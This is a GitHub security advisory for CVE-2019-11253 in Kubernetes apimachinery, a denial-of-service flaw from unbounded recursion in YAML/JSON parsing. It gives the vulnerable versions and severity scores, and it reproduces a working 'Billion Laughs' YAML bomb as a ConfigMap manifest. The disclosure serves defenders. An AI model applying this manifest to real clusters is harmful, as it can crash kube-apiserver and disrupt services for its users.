GHSA-74fp-r6jw-h4mp – k8s.io/apimachinery

Package

Manager: go
Name: k8s.io/apimachinery
Vulnerable Version: >=0 <0.0.0-20190927203648-9ce6eca90e73

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: N/A pctlN/A

Details

Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue. Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage. ```yaml apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default ``` ### Specific Go Packages Affected - k8s.io/apimachinery/pkg/runtime/serializer/json - k8s.io/apimachinery/pkg/util/json

Metadata

Created: 2023-02-08T00:35:27Z
Modified: 2024-05-20T21:45:20Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/02/GHSA-74fp-r6jw-h4mp/GHSA-74fp-r6jw-h4mp.json
CWE IDs: ["CWE-20", "CWE-776"]
Alternative ID: N/A
Finding: F002
Auto approve: 1